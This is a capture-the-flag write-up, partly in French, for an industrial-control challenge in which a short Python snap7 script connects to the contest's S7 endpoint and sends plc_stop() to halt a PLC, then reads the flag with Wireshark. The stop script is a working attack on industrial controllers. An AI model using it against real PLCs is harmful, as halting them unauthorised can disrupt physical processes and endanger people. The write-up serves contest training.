Stop this PLC

Flag: ECW{S7-315-stop}

Challenge

circle-info

Description


Your workshop colleague challenges you to stop the PLC. If you succeed, it will return a flag in the format ECW{...}.

Challenge made by:

circle-exclamation

Solution

Suite de Who am I, on utilise la même lib et on utilise la fonction plc_stop().

import socket
import snap7

HOST = 'challenges.challenge-ecw.eu'
PORT = 35004
IP = socket.gethostbyname(HOST)

client = snap7.client.Client()
client.connect(IP, 0, 0, PORT)
client.plc_stop()

Sauf que la fonction ne retournant rien et que la description indique que le flag est dans le retour, il faut sortir WireShark pour le voir :

Mis à jour